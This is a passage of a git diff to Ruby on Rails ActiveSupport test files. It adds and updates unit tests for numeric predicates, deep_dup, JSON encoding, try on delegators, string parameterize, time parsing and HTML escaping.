drop support to ruby < 2.3 + b = 2**64 + b *= b until Bignum === b + + T_ZERO = b.coerce(0).first + T_ONE = b.coerce(1).first + T_MONE = b.coerce(-1).first + + def test_positive + assert_predicate(1, :positive?) + assert_not_predicate(0, :positive?) + assert_not_predicate(-1, :positive?) + assert_predicate(+1.0, :positive?) + assert_not_predicate(+0.0, :positive?) + assert_not_predicate(-0.0, :positive?) + assert_not_predicate(-1.0, :positive?) + assert_predicate(+(0.0.next_float), :positive?) + assert_not_predicate(-(0.0.next_float), :positive?) + assert_predicate(Float::INFINITY, :positive?) + assert_not_predicate(-Float::INFINITY, :positive?) + assert_not_predicate(Float::NAN, :positive?) + + a = Class.new(Numeric) do + def >(x); true; end + end.new + assert_predicate(a, :positive?) + + a = Class.new(Numeric) do + def >(x); false; end + end.new + assert_not_predicate(a, :positive?) + + assert_predicate(1/2r, :positive?) + assert_not_predicate(-1/2r, :positive?) + + assert_predicate(T_ONE, :positive?) + assert_not_predicate(T_MONE, :positive?) + assert_not_predicate(T_ZERO, :positive?) + + e = assert_raises(NoMethodError) do + Complex(1).positive? + end + + assert_match(/positive\?/, e.message) + end + + def test_negative + assert_predicate(-1, :negative?) + assert_not_predicate(0, :negative?) + assert_not_predicate(1, :negative?) + assert_predicate(-1.0, :negative?) + assert_not_predicate(-0.0, :negative?) + assert_not_predicate(+0.0, :negative?) + assert_not_predicate(+1.0, :negative?) + assert_predicate(-(0.0.next_float), :negative?) + assert_not_predicate(+(0.0.next_float), :negative?) + assert_predicate(-Float::INFINITY, :negative?) + assert_not_predicate(Float::INFINITY, :negative?) + assert_not_predicate(Float::NAN, :negative?) + + a = Class.new(Numeric) do + def <(x); true; end + end.new + assert_predicate(a, :negative?) + + a = Class.new(Numeric) do + def <(x); false; end + end.new + assert_not_predicate(a, :negative?) + + assert_predicate(-1/2r, :negative?) + assert_not_predicate(1/2r, :negative?) + + assert_not_predicate(T_ONE, :negative?) + assert_predicate(T_MONE, :negative?) + assert_not_predicate(T_ZERO, :negative?) + + e = assert_raises(NoMethodError) do + Complex(1).negative? + end + + assert_match(/negative\?/, e.message) + end end diff --git a/activesupport/test/core_ext/object/blank_test.rb b/activesupport/test/core_ext/object/blank_test.rb index 8a5e385dd7..a142096993 100644 --- a/activesupport/test/core_ext/object/blank_test.rb +++ b/activesupport/test/core_ext/object/blank_test.rb @@ -1,4 +1,3 @@ - require 'abstract_unit' require 'active_support/core_ext/object/blank' diff --git a/activesupport/test/core_ext/object/deep_dup_test.rb b/activesupport/test/core_ext/object/deep_dup_test.rb index 91d558dbb5..791b5e7172 100644 --- a/activesupport/test/core_ext/object/deep_dup_test.rb +++ b/activesupport/test/core_ext/object/deep_dup_test.rb @@ -50,4 +50,10 @@ class DeepDupTest < ActiveSupport::TestCase assert dup.instance_variable_defined?(:@a) end + def test_deep_dup_with_hash_class_key + hash = { Fixnum => 1 } + dup = hash.deep_dup + assert_equal 1, dup.keys.length + end + end diff --git a/activesupport/test/core_ext/object/json_gem_encoding_test.rb b/activesupport/test/core_ext/object/json_gem_encoding_test.rb new file mode 100644 index 0000000000..2cbb1d590f --- /dev/null +++ b/activesupport/test/core_ext/object/json_gem_encoding_test.rb @@ -0,0 +1,66 @@ +require 'abstract_unit' +require 'json' +require 'json/encoding_test_cases' + +# These test cases were added to test that we do not interfere with json gem's +# output when the AS encoder is loaded, primarily for problems reported in +# #20775. They need to be executed in isolation to reproduce the scenario +# correctly, because other test cases might have already loaded additional +# dependencies. + +# The AS::JSON encoder requires the BigDecimal core_ext, which, unfortunately, +# changes the BigDecimal#to_s output, and consequently the JSON gem output. So +# we need to require this upfront to ensure we don't get a false failure, but +# ideally we should just fix the BigDecimal core_ext to not change to_s without +# arguments. +require 'active_support/core_ext/big_decimal' + +class JsonGemEncodingTest < ActiveSupport::TestCase + include ActiveSupport::Testing::Isolation + + JSONTest::EncodingTestCases.constants.each_with_index do |name| + JSONTest::EncodingTestCases.const_get(name).each_with_index do |(subject, _), i| + test("#{name[0..-6].underscore} #{i}") do + assert_same_with_or_without_active_support(subject) + end + end + end + + class CustomToJson + def to_json(*) + '"custom"' + end + end + + test "custom to_json" do + assert_same_with_or_without_active_support(CustomToJson.new) + end + + private + def require_or_skip(file) + require(file) || skip("'#{file}' was already loaded") + end + + def assert_same_with_or_without_active_support(subject) + begin + expected = JSON.generate(subject, quirks_mode: true) + rescue JSON::GeneratorError => e + exception = e + end + + require_or_skip 'active_support/core_ext/object/json' + + if exception + assert_raises_with_message JSON::GeneratorError, e.message do + JSON.generate(subject, quirks_mode: true) + end + else + assert_equal expected, JSON.generate(subject, quirks_mode: true) + end + end + + def assert_raises_with_message(exception_class, message, &block) + err = assert_raises(exception_class) { block.call } + assert_match message, err.message + end +end diff --git a/activesupport/test/core_ext/object/try_test.rb b/activesupport/test/core_ext/object/try_test.rb index 89438675c1..25bf0207b8 100644 --- a/activesupport/test/core_ext/object/try_test.rb +++ b/activesupport/test/core_ext/object/try_test.rb @@ -77,9 +77,9 @@ class ObjectTryTest < ActiveSupport::TestCase klass = Class.new do private - def private_method - 'private method' - end + def private_method + 'private method' + end end assert_raise(NoMethodError) { klass.new.try!(:private_method) } @@ -89,11 +89,75 @@ class ObjectTryTest < ActiveSupport::TestCase klass = Class.new do private - def private_method - 'private method' - end + def private_method + 'private method' + end end assert_nil klass.new.try(:private_method) end + + class Decorator < SimpleDelegator + def delegator_method + 'delegator method' + end + + def reverse + 'overridden reverse' + end + + private + + def private_delegator_method + 'private delegator method' + end + end + + def test_try_with_method_on_delegator + assert_equal 'delegator method', Decorator.new(@string).try(:delegator_method) + end + + def test_try_with_method_on_delegator_target + assert_equal 5, Decorator.new(@string).size + end + + def test_try_with_overridden_method_on_delegator + assert_equal 'overridden reverse', Decorator.new(@string).reverse + end + + def test_try_with_private_method_on_delegator + assert_nil Decorator.new(@string).try(:private_delegator_method) + end + + def test_try_with_private_method_on_delegator_bang + assert_raise(NoMethodError) do + Decorator.new(@string).try!(:private_delegator_method) + end + end + + def test_try_with_private_method_on_delegator_target + klass = Class.new do + private + + def private_method + 'private method' + end + end + + assert_nil Decorator.new(klass.new).try(:private_method) + end + + def test_try_with_private_method_on_delegator_target_bang + klass = Class.new do + private + + def private_method + 'private method' + end + end + + assert_raise(NoMethodError) do + Decorator.new(klass.new).try!(:private_method) + end + end end diff --git a/activesupport/test/core_ext/range_ext_test.rb b/activesupport/test/core_ext/range_ext_test.rb index f096328cee..f28cebda3d 100644 --- a/activesupport/test/core_ext/range_ext_test.rb +++ b/activesupport/test/core_ext/range_ext_test.rb @@ -1,5 +1,6 @@ require 'abstract_unit' require 'active_support/time' +require 'active_support/core_ext/numeric' require 'active_support/core_ext/range' class RangeTest < ActiveSupport::TestCase @@ -13,6 +14,11 @@ class RangeTest < ActiveSupport::TestCase assert_equal "BETWEEN '2005-12-10 15:30:00' AND '2005-12-10 17:30:00'", date_range.to_s(:db) end + def test_to_s_with_numeric + number_range = (1..100) + assert_equal "BETWEEN '1' AND '100'", number_range.to_s(:db) + end + def test_date_range assert_instance_of Range, DateTime.new..DateTime.new assert_instance_of Range, DateTime::Infinity.new..DateTime::Infinity.new diff --git a/activesupport/test/core_ext/string_ext_test.rb b/activesupport/test/core_ext/string_ext_test.rb index cb24147ab3..ec56c500d3 100644 --- a/activesupport/test/core_ext/string_ext_test.rb +++ b/activesupport/test/core_ext/string_ext_test.rb @@ -10,6 +10,7 @@ require 'active_support/core_ext/string/strip' require 'active_support/core_ext/string/output_safety' require 'active_support/core_ext/string/indent' require 'time_zone_test_helpers' +require 'yaml' class StringInflectionsTest < ActiveSupport::TestCase include InflectorTestCases @@ -76,6 +77,18 @@ class StringInflectionsTest < ActiveSupport::TestCase end end + def test_upcase_first + assert_equal "What a Lovely Day", "what a Lovely Day".upcase_first + end + + def test_upcase_first_with_one_char + assert_equal "W", "w".upcase_first + end + + def test_upcase_first_with_empty_string + assert_equal "", "".upcase_first + end + def test_camelize CamelToUnderscore.each do |camel, underscore| assert_equal(camel, underscore.camelize) @@ -143,15 +156,49 @@ class StringInflectionsTest < ActiveSupport::TestCase end end + def test_string_parameterized_normal_preserve_case + StringToParameterizedPreserveCase.each do |normal, slugged| + assert_equal(normal.parameterize(preserve_case: true), slugged) + end + end + def test_string_parameterized_no_separator StringToParameterizeWithNoSeparator.each do |normal, slugged| - assert_equal(normal.parameterize(''), slugged) + assert_equal(normal.parameterize(separator: ''), slugged) + end + end + + def test_string_parameterized_no_separator_deprecated + StringToParameterizeWithNoSeparator.each do |normal, slugged| + assert_deprecated(/Passing the separator argument as a positional parameter is deprecated and will soon be removed. Use `separator: ''` instead./i) do + assert_equal(normal.parameterize(''), slugged) + end + end + end + + def test_string_parameterized_no_separator_preserve_case + StringToParameterizePreserveCaseWithNoSeparator.each do |normal, slugged| + assert_equal(normal.parameterize(separator: '', preserve_case: true), slugged) end end def test_string_parameterized_underscore StringToParameterizeWithUnderscore.each do |normal, slugged| - assert_equal(normal.parameterize('_'), slugged) + assert_equal(normal.parameterize(separator: '_'), slugged) + end + end + + def test_string_parameterized_underscore_deprecated + StringToParameterizeWithUnderscore.each do |normal, slugged| + assert_deprecated(/Passing the separator argument as a positional parameter is deprecated and will soon be removed. Use `separator: '_'` instead./i) do + assert_equal(normal.parameterize('_'), slugged) + end + end + end + + def test_string_parameterized_underscore_preserve_case + StringToParameterizePreserceCaseWithUnderscore.each do |normal, slugged| + assert_equal(normal.parameterize(separator: '_', preserve_case: true), slugged) end end @@ -410,16 +457,24 @@ class StringConversionsTest < ActiveSupport::TestCase assert_equal Time.local(2011, 2, 27, 17, 50), "2011-02-27 13:50 -0100".to_time assert_equal Time.utc(2011, 2, 27, 23, 50), "2011-02-27 22:50 -0100".to_time(:utc) assert_equal Time.local(2005, 2, 27, 22, 50), "2005-02-27 14:50 -0500".to_time + assert_nil "010".to_time assert_nil "".to_time end end def test_string_to_time_utc_offset with_env_tz "US/Eastern" do - assert_equal 0, "2005-02-27 23:50".to_time(:utc).utc_offset - assert_equal(-18000, "2005-02-27 23:50".to_time.utc_offset) - assert_equal 0, "2005-02-27 22:50 -0100".to_time(:utc).utc_offset - assert_equal(-18000, "2005-02-27 22:50 -0100".to_time.utc_offset) + if ActiveSupport.to_time_preserves_timezone + assert_equal 0, "2005-02-27 23:50".to_time(:utc).utc_offset + assert_equal(-18000, "2005-02-27 23:50".to_time.utc_offset) + assert_equal 0, "2005-02-27 22:50 -0100".to_time(:utc).utc_offset + assert_equal(-3600, "2005-02-27 22:50 -0100".to_time.utc_offset) + else + assert_equal 0, "2005-02-27 23:50".to_time(:utc).utc_offset + assert_equal(-18000, "2005-02-27 23:50".to_time.utc_offset) + assert_equal 0, "2005-02-27 22:50 -0100".to_time(:utc).utc_offset + assert_equal(-18000, "2005-02-27 22:50 -0100".to_time.utc_offset) + end end end @@ -435,117 +490,123 @@ class StringConversionsTest < ActiveSupport::TestCase def test_standard_time_string_to_time_when_current_time_is_standard_time with_env_tz "US/Eastern" do - Time.stubs(:now).returns(Time.local(2012, 1, 1)) - assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time - assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time(:utc) - assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 -0800".to_time - assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 -0800".to_time(:utc) - assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 -0500".to_time - assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 -0500".to_time(:utc) - assert_equal Time.local(2012, 1, 1, 5, 0), "2012-01-01 10:00 UTC".to_time - assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00 UTC".to_time(:utc) - assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 PST".to_time - assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 PST".to_time(:utc) - assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 EST".to_time - assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 EST".to_time(:utc) + Time.stub(:now, Time.local(2012, 1, 1)) do + assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time + assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time(:utc) + assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 -0800".to_time + assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 -0800".to_time(:utc) + assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 -0500".to_time + assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 -0500".to_time(:utc) + assert_equal Time.local(2012, 1, 1, 5, 0), "2012-01-01 10:00 UTC".to_time + assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00 UTC".to_time(:utc) + assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 PST".to_time + assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 PST".to_time(:utc) + assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 EST".to_time + assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 EST".to_time(:utc) + end end end def test_standard_time_string_to_time_when_current_time_is_daylight_savings with_env_tz "US/Eastern" do - Time.stubs(:now).returns(Time.local(2012, 7, 1)) - assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time - assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time(:utc) - assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 -0800".to_time - assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 -0800".to_time(:utc) - assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 -0500".to_time - assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 -0500".to_time(:utc) - assert_equal Time.local(2012, 1, 1, 5, 0), "2012-01-01 10:00 UTC".to_time - assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00 UTC".to_time(:utc) - assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 PST".to_time - assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 PST".to_time(:utc) - assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 EST".to_time - assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 EST".to_time(:utc) + Time.stub(:now, Time.local(2012, 7, 1)) do + assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time + assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time(:utc) + assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 -0800".to_time + assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 -0800".to_time(:utc) + assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 -0500".to_time + assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 -0500".to_time(:utc) + assert_equal Time.local(2012, 1, 1, 5, 0), "2012-01-01 10:00 UTC".to_time + assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00 UTC".to_time(:utc) + assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 PST".to_time + assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 PST".to_time(:utc) + assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 EST".to_time + assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 EST".to_time(:utc) + end end end def test_daylight_savings_string_to_time_when_current_time_is_standard_time with_env_tz "US/Eastern" do - Time.stubs(:now).returns(Time.local(2012, 1, 1)) - assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time - assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time(:utc) - assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 -0700".to_time - assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 -0700".to_time(:utc) - assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 -0400".to_time - assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 -0400".to_time(:utc) - assert_equal Time.local(2012, 7, 1, 6, 0), "2012-07-01 10:00 UTC".to_time - assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00 UTC".to_time(:utc) - assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 PDT".to_time - assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 PDT".to_time(:utc) - assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 EDT".to_time - assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 EDT".to_time(:utc) + Time.stub(:now, Time.local(2012, 1, 1)) do + assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time + assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time(:utc) + assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 -0700".to_time + assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 -0700".to_time(:utc) + assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 -0400".to_time + assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 -0400".to_time(:utc) + assert_equal Time.local(2012, 7, 1, 6, 0), "2012-07-01 10:00 UTC".to_time + assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00 UTC".to_time(:utc) + assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 PDT".to_time + assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 PDT".to_time(:utc) + assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 EDT".to_time + assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 EDT".to_time(:utc) + end end end def test_daylight_savings_string_to_time_when_current_time_is_daylight_savings with_env_tz "US/Eastern" do - Time.stubs(:now).returns(Time.local(2012, 7, 1)) - assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time - assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time(:utc) - assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 -0700".to_time - assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 -0700".to_time(:utc) - assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 -0400".to_time - assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 -0400".to_time(:utc) - assert_equal Time.local(2012, 7, 1, 6, 0), "2012-07-01 10:00 UTC".to_time - assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00 UTC".to_time(:utc) - assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 PDT".to_time - assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 PDT".to_time(:utc) - assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 EDT".to_time - assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 EDT".to_time(:utc) + Time.stub(:now, Time.local(2012, 7, 1)) do + assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time + assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time(:utc) + assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 -0700".to_time + assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 -0700".to_time(:utc) + assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 -0400".to_time + assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 -0400".to_time(:utc) + assert_equal Time.local(2012, 7, 1, 6, 0), "2012-07-01 10:00 UTC".to_time + assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00 UTC".to_time(:utc) + assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 PDT".to_time + assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 PDT".to_time(:utc) + assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 EDT".to_time + assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 EDT".to_time(:utc) + end end end def test_partial_string_to_time_when_current_time_is_standard_time with_env_tz "US/Eastern" do - Time.stubs(:now).returns(Time.local(2012, 1, 1)) - assert_equal Time.local(2012, 1, 1, 10, 0), "10:00".to_time - assert_equal Time.utc(2012, 1, 1, 10, 0), "10:00".to_time(:utc) - assert_equal Time.local(2012, 1, 1, 6, 0), "10:00 -0100".to_time - assert_equal Time.utc(2012, 1, 1, 11, 0), "10:00 -0100".to_time(:utc) - assert_equal Time.local(2012, 1, 1, 10, 0), "10:00 -0500".to_time - assert_equal Time.utc(2012, 1, 1, 15, 0), "10:00 -0500".to_time(:utc) - assert_equal Time.local(2012, 1, 1, 5, 0), "10:00 UTC".to_time - assert_equal Time.utc(2012, 1, 1, 10, 0), "10:00 UTC".to_time(:utc) - assert_equal Time.local(2012, 1, 1, 13, 0), "10:00 PST".to_time - assert_equal Time.utc(2012, 1, 1, 18, 0), "10:00 PST".to_time(:utc) - assert_equal Time.local(2012, 1, 1, 12, 0), "10:00 PDT".to_time - assert_equal Time.utc(2012, 1, 1, 17, 0), "10:00 PDT".to_time(:utc) - assert_equal Time.local(2012, 1, 1, 10, 0), "10:00 EST".to_time - assert_equal Time.utc(2012, 1, 1, 15, 0), "10:00 EST".to_time(:utc) - assert_equal Time.local(2012, 1, 1, 9, 0), "10:00 EDT".to_time - assert_equal Time.utc(2012, 1, 1, 14, 0), "10:00 EDT".to_time(:utc) + Time.stub(:now, Time.local(2012, 1, 1)) do + assert_equal Time.local(2012, 1, 1, 10, 0), "10:00".to_time + assert_equal Time.utc(2012, 1, 1, 10, 0), "10:00".to_time(:utc) + assert_equal Time.local(2012, 1, 1, 6, 0), "10:00 -0100".to_time + assert_equal Time.utc(2012, 1, 1, 11, 0), "10:00 -0100".to_time(:utc) + assert_equal Time.local(2012, 1, 1, 10, 0), "10:00 -0500".to_time + assert_equal Time.utc(2012, 1, 1, 15, 0), "10:00 -0500".to_time(:utc) + assert_equal Time.local(2012, 1, 1, 5, 0), "10:00 UTC".to_time + assert_equal Time.utc(2012, 1, 1, 10, 0), "10:00 UTC".to_time(:utc) + assert_equal Time.local(2012, 1, 1, 13, 0), "10:00 PST".to_time + assert_equal Time.utc(2012, 1, 1, 18, 0), "10:00 PST".to_time(:utc) + assert_equal Time.local(2012, 1, 1, 12, 0), "10:00 PDT".to_time + assert_equal Time.utc(2012, 1, 1, 17, 0), "10:00 PDT".to_time(:utc) + assert_equal Time.local(2012, 1, 1, 10, 0), "10:00 EST".to_time + assert_equal Time.utc(2012, 1, 1, 15, 0), "10:00 EST".to_time(:utc) + assert_equal Time.local(2012, 1, 1, 9, 0), "10:00 EDT".to_time + assert_equal Time.utc(2012, 1, 1, 14, 0), "10:00 EDT".to_time(:utc) + end end end def test_partial_string_to_time_when_current_time_is_daylight_savings with_env_tz "US/Eastern" do - Time.stubs(:now).returns(Time.local(2012, 7, 1)) - assert_equal Time.local(2012, 7, 1, 10, 0), "10:00".to_time - assert_equal Time.utc(2012, 7, 1, 10, 0), "10:00".to_time(:utc) - assert_equal Time.local(2012, 7, 1, 7, 0), "10:00 -0100".to_time - assert_equal Time.utc(2012, 7, 1, 11, 0), "10:00 -0100".to_time(:utc) - assert_equal Time.local(2012, 7, 1, 11, 0), "10:00 -0500".to_time - assert_equal Time.utc(2012, 7, 1, 15, 0), "10:00 -0500".to_time(:utc) - assert_equal Time.local(2012, 7, 1, 6, 0), "10:00 UTC".to_time - assert_equal Time.utc(2012, 7, 1, 10, 0), "10:00 UTC".to_time(:utc) - assert_equal Time.local(2012, 7, 1, 14, 0), "10:00 PST".to_time - assert_equal Time.utc(2012, 7, 1, 18, 0), "10:00 PST".to_time(:utc) - assert_equal Time.local(2012, 7, 1, 13, 0), "10:00 PDT".to_time - assert_equal Time.utc(2012, 7, 1, 17, 0), "10:00 PDT".to_time(:utc) - assert_equal Time.local(2012, 7, 1, 11, 0), "10:00 EST".to_time - assert_equal Time.utc(2012, 7, 1, 15, 0), "10:00 EST".to_time(:utc) - assert_equal Time.local(2012, 7, 1, 10, 0), "10:00 EDT".to_time - assert_equal Time.utc(2012, 7, 1, 14, 0), "10:00 EDT".to_time(:utc) + Time.stub(:now, Time.local(2012, 7, 1)) do + assert_equal Time.local(2012, 7, 1, 10, 0), "10:00".to_time + assert_equal Time.utc(2012, 7, 1, 10, 0), "10:00".to_time(:utc) + assert_equal Time.local(2012, 7, 1, 7, 0), "10:00 -0100".to_time + assert_equal Time.utc(2012, 7, 1, 11, 0), "10:00 -0100".to_time(:utc) + assert_equal Time.local(2012, 7, 1, 11, 0), "10:00 -0500".to_time + assert_equal Time.utc(2012, 7, 1, 15, 0), "10:00 -0500".to_time(:utc) + assert_equal Time.local(2012, 7, 1, 6, 0), "10:00 UTC".to_time + assert_equal Time.utc(2012, 7, 1, 10, 0), "10:00 UTC".to_time(:utc) + assert_equal Time.local(2012, 7, 1, 14, 0), "10:00 PST".to_time + assert_equal Time.utc(2012, 7, 1, 18, 0), "10:00 PST".to_time(:utc) + assert_equal Time.local(2012, 7, 1, 13, 0), "10:00 PDT".to_time + assert_equal Time.utc(2012, 7, 1, 17, 0), "10:00 PDT".to_time(:utc) + assert_equal Time.local(2012, 7, 1, 11, 0), "10:00 EST".to_time + assert_equal Time.utc(2012, 7, 1, 15, 0), "10:00 EST".to_time(:utc) + assert_equal Time.local(2012, 7, 1, 10, 0), "10:00 EDT".to_time + assert_equal Time.utc(2012, 7, 1, 14, 0), "10:00 EDT".to_time(:utc) + end end end @@ -776,8 +837,8 @@ class OutputSafetyTest < ActiveSupport::TestCase end test "ERB::Util.html_escape should correctly handle invalid UTF-8 strings" do - string = [192, 60].pack('CC') - expected = 192.chr + "<" + string = "\251 <" + expected = "© <" assert_equal expected, ERB::Util.html_escape(string) end @@ -793,6 +854,12 @@ class OutputSafetyTest < ActiveSupport::TestCase assert_equal escaped_string, ERB::Util.html_escape_once(string) assert_equal escaped_string, ERB::Util.html_escape_once(escaped_string) end + + test "ERB::Util.html_escape_once should correctly handle invalid UTF-8 strings" do + string = "\251 <" + expected = "© <" + assert_equal expected, ERB::Util.html_escape_once(string) + end end class StringExcludeTest < ActiveSupport::TestCase diff --git a/activesupport/test/core_ext/time_ext_test.rb b/activesupport/test/core_ext/time_ext_test.rb index d59775001b..1205797fac 100644 --- a/activesupport/test/core_ext/time_ext_test.rb +++ b/activesupport/test/core_ext/time_ext_test.rb @@ -107,6 +107,20 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase end end + def test_sec_fraction + time = Time.utc(2016, 4, 23, 0, 0, Rational(1,10000000000)) + assert_equal Rational(1,10000000000), time.sec_fraction + + time = Time.utc(2016, 4, 23, 0, 0, 0.0000000001) + assert_equal 0.0000000001.to_r, time.sec_fraction + + time = Time.utc(2016, 4, 23, 0, 0, 0, Rational(1,10000)) + assert_equal Rational(1,10000000000), time.sec_fraction + + time = Time.utc(2016, 4, 23, 0, 0, 0, 0.0001) + assert_equal 0.0001.to_r / 1000000, time.sec_fraction + end + def test_beginning_of_day assert_equal Time.local(2005,2,4,0,0,0), Time.local(2005,2,4,10,10,10).beginning_of_day with_env_tz 'US/Eastern' do @@ -149,6 +163,9 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase assert_equal Time.local(2006,3,19,23,59,59,Rational(999999999, 1000)), Time.local(2006,3,19,10,10,10).end_of_day, 'ends DST' assert_equal Time.local(2006,10,1,23,59,59,Rational(999999999, 1000)), Time.local(2006,10,1,10,10,10).end_of_day, 'start DST' end + with_env_tz 'Asia/Yekaterinburg' do + assert_equal Time.local(2015, 2, 8, 23, 59, 59, Rational(999999999, 1000)), Time.new(2015, 2, 8, 8, 0, 0, '+05:00').end_of_day + end end def test_end_of_hour @@ -389,6 +406,7 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase assert_equal Time.local(2005,1,2,11,22,33, 8), Time.local(2005,1,2,11,22,33,44).change(:usec => 8) assert_equal Time.local(2005,1,2,11,22,33, 8), Time.local(2005,1,2,11,22,33,2).change(:nsec => 8000) assert_raise(ArgumentError) { Time.local(2005,1,2,11,22,33, 8).change(:usec => 1, :nsec => 1) } + assert_nothing_raised { Time.new(2015, 5, 9, 10, 00, 00, '+03:00').change(nsec: 999999999) } end def test_utc_change @@ -530,6 +548,7 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase assert_equal "17:44", time.to_s(:time) assert_equal "20050221174430", time.to_s(:number) assert_equal "20050221174430123456789", time.to_s(:nsec) + assert_equal "20050221174430123456", time.to_s(:usec) assert_equal "February 21, 2005 17:44", time.to_s(:long) assert_equal "February 21st, 2005 17:44", time.to_s(:long_ordinal) with_env_tz "UTC" do @@ -601,13 +620,34 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase end def test_days_in_month_feb_in_common_year_without_year_arg - Time.stubs(:now).returns(Time.utc(2007)) - assert_equal 28, Time.days_in_month(2) + Time.stub(:now, Time.utc(2007)) do + assert_equal 28, Time.days_in_month(2) + end end def test_days_in_month_feb_in_leap_year_without_year_arg - 